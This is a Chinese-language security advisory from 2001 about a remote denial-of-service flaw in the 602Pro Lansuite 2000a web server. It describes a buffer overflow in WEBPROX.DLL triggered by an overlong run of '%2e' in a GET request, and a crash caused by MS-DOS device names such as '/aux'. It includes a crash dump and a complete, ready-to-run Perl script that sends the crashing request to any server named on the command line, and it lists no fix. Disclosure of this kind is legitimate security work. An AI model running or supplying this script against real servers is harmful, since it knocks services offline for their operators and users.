Lansuite Webserver存在拒绝服务攻击漏洞发布时间:2001-03-27 更新时间:2001-03-27 严重程度:中 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 602Pro Lansuite 2000a 1.0.34以前的版本 或者1.0.详细描述 602Pro lansuite存在2个缺陷,第一个是WEBPROX.DLL存在缓冲溢出, 两一个是有关MS-DOS的设备文件。 如发送如下的请求: GET /%2e%2e%2e%2e.... /HTTP/1.0(发送%2e的个数157个) 将会显示如下的错误类型: LANSUITE caused an invalid page fault in module WEBPROX.DLL at 015f:008a1326. Registers: EAX=0000000a CS=015f EIP=008a1326 EFLGS=00010216 EBX=00000008 SS=0167 ESP=05202848 EBP=05202848 ECX=0000000a DS=0167 ESI=81648e38 FS=2c37 EDX=334f2b1f ES=0167 EDI=81623ff0 GS=0000 Bytes at CS:EIP: 8b 48 2c 83 e1 01 85 c9 74 2d 8b 55 08 c7 42 18 Stack dump: 052029dc 00862e9a 0000000a 334f2b1f 000000fa 81623ff0 81648e38 00000008 bff7b317 018d0000 00000000 018d1650 018d1650 0520ace7 018d164c 052028cc 另外一个问题就是请求一些如MS-DOS设备名文件,会导致 拒绝服务攻击: GET /aux 测试代码 --------------------------------------------------------------- #!/usr/bin/perl # # 602Pro Lansuite 2000a 1.0.34 Denial Of Service # # # Malformed GET request # use Getopt::Std; use Socket; getopts('s:', \%args); if(!defined($args{s})){&usage;} my ($serv,$port,$foo,$number,$data,$buf,$in_addr,$padd r,$proto); $foo = "%2e"; $number = "160"; $data .= $foo x $number; $serv = $args{s}; $port = 80; $buf = "GET /$data /HTTP/1.0\r\n\r\n"; $in_addr = (gethostbyname($serv))[4] || die("Error: $! \n"); $paddr = sockaddr_in($port, $in_addr) || die ("Error: $! \n"); $proto = getprotobyname('tcp') || die("Error: $!\n"); socket(S, PF_INET, SOCK_STREAM, $proto) || die ("Error: $!"); connect(S, $paddr) ||die ("Error: $!"); select(S); $| = 1; select(STDOUT); print S "$buf"; print("Data has been successfully sent to $serv\n"); sub usage {die("\n\n$0 -s <server>\n\n");} 解决方案 尚无 相关信息 |